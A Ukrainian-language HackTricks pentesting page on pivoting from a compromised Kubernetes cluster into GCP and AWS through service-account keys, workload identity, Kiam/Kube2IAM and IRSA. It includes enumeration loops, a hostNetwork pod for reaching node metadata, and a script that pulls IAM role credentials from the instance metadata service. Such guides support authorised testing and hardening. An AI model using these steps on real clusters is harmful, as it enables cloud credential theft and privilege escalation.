Kubernetes Pivoting to Clouds

Support HackTricks

GCP

Якщо ви запускаєте кластер k8s всередині GCP, ви, напевно, захочете, щоб деякий додаток, що працює всередині кластера, мав доступ до GCP. Є 2 поширених способи зробити це:

Монтування ключів GCP-SA як секрету

Поширений спосіб надати доступ до kubernetes-додатку до GCP:

  • Створити обліковий запис служби GCP

  • Призначити йому необхідні дозволи

  • Завантажити json-ключ створеного SA

  • Замонтувати його як секрет всередині пода

  • Встановити змінну середовища GOOGLE_APPLICATION_CREDENTIALS, що вказує на шлях, де знаходиться json.

Отже, як зловмисник, якщо ви скомпрометуєте контейнер всередині пода, вам слід перевірити цю змінну середовища та json файли з обліковими даними GCP.

Зв'язування json GSA з секретом KSA

Спосіб надати доступ до GSA для кластера GKE - це зв'язати їх таким чином:

  • Створити обліковий запис служби Kubernetes в тому ж просторі імен, що й ваш кластер GKE, використовуючи наступну команду:

Copy codekubectl create serviceaccount <service-account-name>
  • Створіть Kubernetes Secret, який містить облікові дані облікового запису служби GCP, до якого ви хочете надати доступ до кластера GKE. Ви можете зробити це за допомогою інструменту командного рядка gcloud, як показано в наступному прикладі:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Прив'яжіть Kubernetes Secret до облікового запису служби Kubernetes за допомогою наступної команди:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

На другому етапі були встановлені облікові дані GSA як секрет KSA. Тоді, якщо ви можете прочитати цей секрет з всередині кластеру GKE, ви можете ескалювати до цього облікового запису служби GCP.

Ідентичність робочого навантаження GKE

З ідентичністю робочого навантаження ми можемо налаштувати обліковий запис служби Kubernetes, щоб він діяв як обліковий запис служби Google. Поди, що працюють з обліковим записом служби Kubernetes, автоматично аутентифікуються як обліковий запис служби Google при доступі до API Google Cloud.

Перший рядок кроків для активації цієї поведінки - це активувати ідентичність робочого навантаження в GCP (кроки) та створити обліковий запис SA GCP, який ви хочете, щоб k8s наслідував.

  • Активуйте ідентичність робочого навантаження на новому кластері

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Створити/Оновити новий пул вузлів (Кластери Autopilot не потребують цього)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Створіть GCP обліковий запис служби для наслідування з K8s з дозволами GCP:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Підключіться до кластера та створіть обліковий запис служби для використання

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Прив'язати GSA до KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Запустіть pod з KSA та перевірте доступ до GSA:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Перевірте наступну команду для автентифікації у разі потреби:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Як атакуючий всередині K8s, ви повинні шукати SAs з анотацією iam.gke.io/gcp-service-account, оскільки це вказує на те, що SA може отримати доступ до чогось у GCP. Іншим варіантом буде спробувати зловживати кожним KSA в кластері та перевірити, чи має він доступ. З GCP завжди цікаво перерахувати зв'язки та дізнатися, який доступ ви надаєте SAs всередині Kubernetes.

Це скрипт для легкого перебору всіх визначень подів, шукаючи цю анотацію:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM роль для Pods)

Застарілий спосіб надання IAM ролей Pods - це використання Kiam або Kube2IAM сервера. В основному, вам потрібно запустити daemonset у вашому кластері з якоюсь привілейованою IAM роллю. Цей daemonset буде тим, хто надасть доступ до IAM ролей pods, які цього потребують.

По-перше, вам потрібно налаштувати які ролі можуть бути доступні всередині простору імен, і ви робите це за допомогою анотації всередині об'єкта простору імен:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Якщо простір імен налаштований з IAM ролями, які можуть мати Pods, ви можете вказати роль, яку ви хочете для кожного визначення pod, з чимось на зразок:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Як атакуючий, якщо ви знайдете ці анотації в подах або просторах імен, або сервер kiam/kube2iam, що працює (ймовірно, в kube-system), ви можете вдаватись в кожну роль, яка вже використовується подами, і більше (якщо у вас є доступ до облікового запису AWS, перерахувати ролі).

Створити Pod з IAM роллю

IAM роль, яку потрібно вказати, повинна бути в тому ж обліковому записі AWS, що й роль kiam/kube2iam, і ця роль повинна мати можливість отримати до неї доступ.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role for K8s Service Accounts via OIDC

Це рекомендований спосіб від AWS.

  1. Потім ви створюєте IAM роль з дозволами, які буде вимагати SA.

  2. Створіть довірчі відносини між IAM роллю та SA назва (або простори імен, що надають доступ до ролі всім SA в просторі імен). Довірчі відносини в основному перевірятимуть назву OIDC провайдера, назву простору імен та назву SA.

  3. Нарешті, створіть SA з анотацією, що вказує ARN ролі, і контейнери, що працюють з цим SA, матимуть доступ до токена ролі. Токен записується в файл, а шлях вказується в AWS_WEB_IDENTITY_TOKEN_FILE (за замовчуванням: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Щоб отримати aws, використовуючи токен з /var/run/secrets/eks.amazonaws.com/serviceaccount/token, виконайте:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Як атакуючий, якщо ви можете перерахувати кластер K8s, перевірте наявність облікових записів служби з цією анотацією, щоб ескалювати до AWS. Для цього просто exec/create pod, використовуючи один з привілейованих облікових записів служби IAM, і вкрадіть токен.

Більше того, якщо ви всередині pod, перевірте змінні середовища, такі як AWS_ROLE_ARN та AWS_WEB_IDENTITY_TOKEN.

Іноді політика довіри ролі може бути погано налаштована, і замість того, щоб надати доступ AssumeRole очікуваному обліковому запису служби, вона надає його всім обліковим записам служби. Тому, якщо ви здатні записати анотацію на контрольованому обліковому записі служби, ви можете отримати доступ до ролі.

Перевірте наступну сторінку для отримання додаткової інформації:

AWS - Federation Abuse

Знайти Pods a SAs з IAM ролями в кластері

Це скрипт для легкого ітерації по всіх pod та визначення sas, шукаючи цю анотацію:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role

Попередній розділ стосувався того, як вкрасти IAM ролі за допомогою подів, але зверніть увагу, що вузол K8s кластера буде екземпляром всередині хмари. Це означає, що вузол, ймовірно, буде мати нову IAM роль, яку ви можете вкрасти (зверніть увагу, що зазвичай всі вузли K8s кластера мають однакову IAM роль, тому може не мати сенсу перевіряти кожен вузол).

Однак є важлива вимога для доступу до метаданих з вузла, вам потрібно бути на вузлі (сеанс ssh?) або принаймні мати ту ж мережу:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Вкрасти токен IAM ролі

Раніше ми обговорювали, як прикріпити IAM ролі до Pods або навіть як втекти до вузла, щоб вкрасти IAM роль, яку екземпляр має прикріпленою до нього.

Ви можете використовувати наступний скрипт, щоб вкрасти ваші нові важко зароблені облікові дані IAM ролі:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Посилання

Підтримати HackTricks

Last updated